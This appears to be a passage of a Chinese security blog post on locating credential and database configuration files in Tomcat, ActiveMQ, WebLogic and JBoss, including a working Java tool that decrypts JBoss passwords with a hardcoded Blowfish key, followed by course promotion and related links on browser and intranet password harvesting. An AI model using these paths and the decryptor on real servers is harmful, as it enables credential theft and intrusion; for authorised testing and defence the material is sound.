/home/leagsoft/LeagView/Ini/odbc.ini   /home/leagsoft/LeagView/Ini/Server.ini   /etc/postgresql/9.1/auditdb/postgresql.conf


中间件
Tomcat
数据库

数据库配置文件:

WEB-INF/classes/application.properties


实战中遇见的tomcat常见数据库配置文件名:

db.properties   jdbc.properties   dbpool.properties   config.properties   sso-config.properties   minaconfig.properties   missCallAlertExclude.properties   url_img.properties   webapp.properties   Proxool.properties   application.properties


控制台

tomcat控制台账号密码:

/conf/tomcat-users.xml


ActiveMQ

配置了认证的情况:

登录密码存放路径:

/apache-activemq/conf/jetty-realm.properties


Weblogic

WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。每个Weblogic app的加密key都是随机生成的,所以不同服务器甚至同服务器不同应用上的weblogic都是用不同的密码加密的。

Weblogic控制台密码解密

查找boot.properties文件:

weblogic/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties


查找SerializedSystemIni.dat文件,其中包含了解密key:

weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat


Nodemanager密码解密

查找config.xml文件

/weblogic/user_projects/domains/base_domain/config/config.xml


数据库密码解密

查找jdbc相关文件

/weblogic/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/xxx-jdbc.xml


成功解密

JBOSS

JBoss使用blowfish加密算法,解密key为硬编码的jaas is the way。数据库配置默认目录:

%JBOSS_HOME%\server\%appname%\deploy\oracle-ds.xml   %JBOSS_HOME%\server\%appname%\deploy\mysql-ds.xml


在没有加密的情况下,密码是明文:

<jndi-name>OracleDS</jndi-name> //jndi名字    <use-java-context>false</use-java-context>   <connection-url>jdbc:oracle:thin:@localhost:1521:orcl</connection-url> //URL地址   <driver-class>oracle.jdbc.driver.OracleDriver</driver-class> //驱动   <user-name>root</user-name> //用户名   <password>123456</password> //密码


在配置完密码加密后,加密后的密码存在jboss目录的conf/login-config.xml文件里:

<application-policy name="EncryptDBPassword">   <authentication>   <login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">    <module-option name="username">admin</module-option>   <module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option>   <module-option name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option> </login-module>   </authentication>   </application-policy>


5dfc52b51bd35553df8592078de921bc就是加密后的密文了,有的时候前面还有个符号,也是密文的一部分。

JBoss加密和解密代码:

import java.math.BigInteger;         /*   * JBoss.java - Blowfish encryption/decryption tool with JBoss default password   *    Daniel Martin Gomez <daniel @ ngssoftware.com> - 03/Sep/2009   *   * This file may be used under the terms of the GNU General Public License   * version 2.0 as published by the Free Software Foundation:   *   http://www.gnu.org/licenses/gpl-2.0.html   */   import javax.crypto.*;   import javax.crypto.spec.SecretKeySpec;            public class Main {       public static void main(String[] args) throws Exception {           if ((args.length != 2) ||                   !(args[0].equals("-e") | args[0].equals("-d"))) {               System.out.println(                   "Usage:\n\tjava JBoss <-e|-d> <encrypted_password>");                     return;           }                 String mode = args[0];                 byte[] kbytes = "jaas is the way".getBytes();           SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");           Cipher cipher = Cipher.getInstance("Blowfish");                 String out = null;                 if (mode.equals("-e")) {               String secret = args[1];               cipher.init(Cipher.ENCRYPT_MODE, key);                     byte[] encoding = cipher.doFinal(secret.getBytes());               out = new BigInteger(encoding).toString(16);           } else {               BigInteger secret = new BigInteger(args[1], 16);               cipher.init(Cipher.DECRYPT_MODE, key);                     byte[] encoding = cipher.doFinal(secret.toByteArray());               out = new String(encoding);           }                 System.out.println(out);       }   }


在线解密

image.png

最后

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

别让浏览器记住你的秘密:用WebBrowserPassView快速找回遗忘的网站密码(附命令行高级用法) 本文详细介绍了WebBrowserPassView这款浏览器密码查看工具的使用方法,包括图形界面操作和命令行高级用法。通过该工具,用户可以快速找回浏览器保存的遗忘密码,支持多种主流浏览器,并提供安全使用建议,帮助用户高效管理密码同时确保信息安全。 阅读详情

相关推荐

小迪学习笔记(内网安全)(常见概念和信息收集)

本文主要讲解内网常见名词概念和信息收集的方式方法,为接下来的内网渗透做前提准备,一个好的信息收集可以让渗透事半功倍。

weixin_63560942的博客 3633

【红队技巧】Windows存储的密码获取

【红队技巧】Windows存储的密码获取使用前提支持版本利用方式参考: 使用前提 需要得到Windows系统密码 支持版本 Windows全版本 微软表示此功能仅包含在 Windows XP 中。它目前不包含在任何其他版本的 Windows 中,也不会包含在任何未来版本的 Windows 中。但是经过测试此函数功能可以在任意Windows版本中使用。 利用方式 rundll32 keymgr.dll, KRShowKeyMgr 使用CredentialsFileView工具 Credentials

网安君的博客 2943

浏览器密码查看webbrowserpassview(20230614亲测可用)

查看所有的保存在浏览器上的用户登录账号和密码。WebBrowserPassView 是一款相当给力的小软件,它会自动找出你在浏览器里面保存过的的帐号和对应的密码并显示出来,只要启动它,经过几秒钟之后,就会看到画面上出现你的浏览器所记忆的网址、帐号及密码了!目前一共支持了 IE1~IE9、Firefox、Chrome及Opera等四种主流浏览器,但是如果你是用免安装版的浏览器,很可能WebBrowserPassView就抓不到了。 WebBrowserPassView 使用介绍: 现在的Web浏览器为了方便用户登录,都内置了“记住密码”的功能。有了这个功能以后用户不必记住他们的账号密码,浏览器会自动填充这些信息。当你过于依赖这种功能以后,在别的地方需要登录其中一个网站的时候,却发现自己忘记了登录密码。这个时候 WebBrowserPassView 就可以来救你了!它可以轻松在短短几秒之内把你浏览器 (IE、Firefox、Chrome及Opera) 里面保存的密码统统挖出来。

html密码查看器,浏览器密码查看工具(WebBrowserPassView)

查看所有的保存在浏览器上的用户登录账号和密码。WebBrowserPassView 是一款相当给力的小软件,它会自动找出你在浏览器里面保存过的的帐号和对应的密码并显示出来,只要启动它,经过几秒钟之后,就会看到画面上出现你的浏览器所记忆的网址、帐号及密码了!目前一共支持了 IE1~IE9、Firefox、Chrome及Opera等四种主流浏览器,但是如果你是用免安装版的浏览器,很可能WebBrows...

weixin_33247358的博客 4167

WebBrowserPassView

帮助查找浏览器的密码

金融波动预测:GARCH模型实战解析与ARIMA对比

本文深入解析GARCH模型在金融波动预测中的实战应用,并与传统ARIMA模型进行对比。通过沪深300指数日收益率数据的案例分析,展示GARCH模型如何有效捕捉波动聚集效应,提升极端波动预测准确率。文章包含Python代码实现、参数解读及模型选择指南,为量化交易者提供实用的波动率建模解决方案。

weixin_29098367的博客 192

内网渗透 | 最全的内网凭据密码收集方法和技巧总结

内网凭据密码收集指南原创投稿作者:深蓝实验室天威战队前言在攻防场景下,红队人员拿下一台终端或服务器后,第一步要做的往往就是信息收集,为最大化利用权限,扩大战果,密码抓取必不可少,这里针对常见应用软件和系统等密码抓取做了记录和总结,希望能帮助你作为参考。RDP凭证本机RDP密码抓取本机RDP密码是一个我们常遇到的场景,通常使用mimikatz抓取RDP密码。当系统为win10或2012R2以上时,默...

Ms08067安全实验室 1万+

LaTex的下载与安装(2024小白+windows系统)

本文主要介绍了Latex的下载与安装,还包括安装过程中遇到的小问题的解决。

m0_53096519的博客 2万+

【内网渗透】最全的内网凭据密码收集方法和技巧总结

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

A1_3_9_7的博客 1488

技术文档的语言表达:简洁、准确与易懂的平衡艺术

技术文档的语言表达不仅要简洁、准确,还需要能够打破技术壁垒,使不同背景的读者都能理解。这是一项需要技巧和经验的工作,它要求技术作者既要具备扎实的专业知识,又要具备清晰的表达能力。通过不断打磨语言的简洁性、准确性和易懂性,我们能够创造出一份高质量的技术文档,让知识的传递不再受限于语言的障碍。

人心有反复,好在山水有重逢。 4679

保姆级教程 | MS构建三层石墨后转成LAMMPS的data文件

喜欢的话记得一键三连~

baguette的博客 2953

内网渗透-最实用的信息收集

0x00 内网渗透概述 当我们渗透web端或者通过其他方式拿到某内网主机shell,我们就可以尝试开始内网渗透,也叫做后渗透,域渗透等,探索域内网络架构,通过内网渗透得到其他内网主机的权限,或者通过内网主机获取到同域的最高管理员主机权限等。 1.内网基本认知:各种名词认知,域的认知,大概了解内网安全流程 2.内网信息收集: (1) 内网主机的基本信息(版本,补丁,服务,任务,防护…), (2)网络信息(端口,环境,代理通道…), (3)用户信息(域用户,本地用户,用户权限,组信息…), (4)凭据信息

告白的博客 3506

深入解析Lora模块的工作原理与应用场景

本文深入解析了Lora模块的工作原理与应用场景。Lora模块作为物联网领域的核心无线通信组件,凭借其独特的扩频调制与半双工通信技术,实现了远距离、低功耗的数据传输。文章详细拆解了其技术内核,包括空中唤醒等低功耗奥秘,并提供了地址、信道、空中速率等关键参数的实战配置指南。最后,探讨了Lora模块在智能家居、智慧农业、城市监测等广域物联网场景中的具体应用,为开发者提供了从理论到实践的完整参考。

weixin_29174385的博客 334

内网渗透 信息收集

文章目录一、收集对象二、内网主机的基本信息三、网络信息收集四、用户信息收集五、凭据信息收集六、后续的探针信息 一、收集对象 (1)内网主机的基本信息(版本,补丁,服务,任务,防护…), (2)网络信息(端口,环境,代理通道…), (3)用户信息(域用户,本地用户,用户权限,组信息…), (4)凭据信息(各种储存的协议账号密码信息,各种口令信息,hash…) (5)后续探针信息:探索到域内的网络架构信息,存活主机,域控信息,服务接口… 二、内网主机的基本信息 当拿到内网主机的控制权shell,进行第一步的基本

诚邀网络通信领域商务合作 2506

Altium Designer实战:手把手教你设计智能车竞赛疯狂电路组赛道(附封装库)

本文详细介绍了使用Altium Designer软件进行智能车竞赛“疯狂电路”组赛道设计的全流程实战指南。从理解比赛规则、搭建设计环境、创建专用元器件封装库,到电路布局、路径规划及设计输出验证,手把手教你高效完成符合计分标准的赛道图纸设计,并附上实用的封装库管理方法。

alice7model的博客 1324

我装了10个ClawHub技能,这些最好用!

ClawHub就是Clawdbot的"应用商店"。Clawdbot是手机ClawHub是App Store技能就是各种App装了技能,Clawdbot才能干更多事。这个技能解决了我的信息过载问题。为什么装我订阅了很多Newsletter。每天收到一堆长文章,根本看不完。怎么用“总结这篇文章的核心观点”“把这个Newsletter提炼成3个要点”“这篇技术博客有哪些可以实践的建议?安装命令真实体验现在我收到长文章,直接转发给Clawdbot。它会提炼出核心要点和行动清单。

Maynor的博客 6105

别再瞎爆破!最全的内网凭据密码收集方法和技巧总结

在网络安全攻防对抗中,内网凭据密码收集是渗透测试的核心环节之一。攻击者一旦获取内网合法凭据,便能实现横向移动、权限提升,最终控制核心业务系统;而防守方掌握凭据收集的技术逻辑,才能针对性构建防护体系。注:本文所涉及的技术方法仅适用于已获得授权的渗透测试、安全评估场景。未经授权的内网凭据获取行为,违反《网络安全法》《个人信息保护法》等相关法律法规,需承担相应法律责任。

m0_71745258的博客 426

Python跨年烟花(完整代码)

Python语言实现跨年烟花动画的完整代码。

AIGC 3万+
上一篇: 零基础21天学习网络技术,目标:比别人多懂一点,饭碗更牢固一点。
下一篇: SRC漏洞挖掘思路手法(非常详细)网络安全零基础入门到精通,收藏这一篇就够了!
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值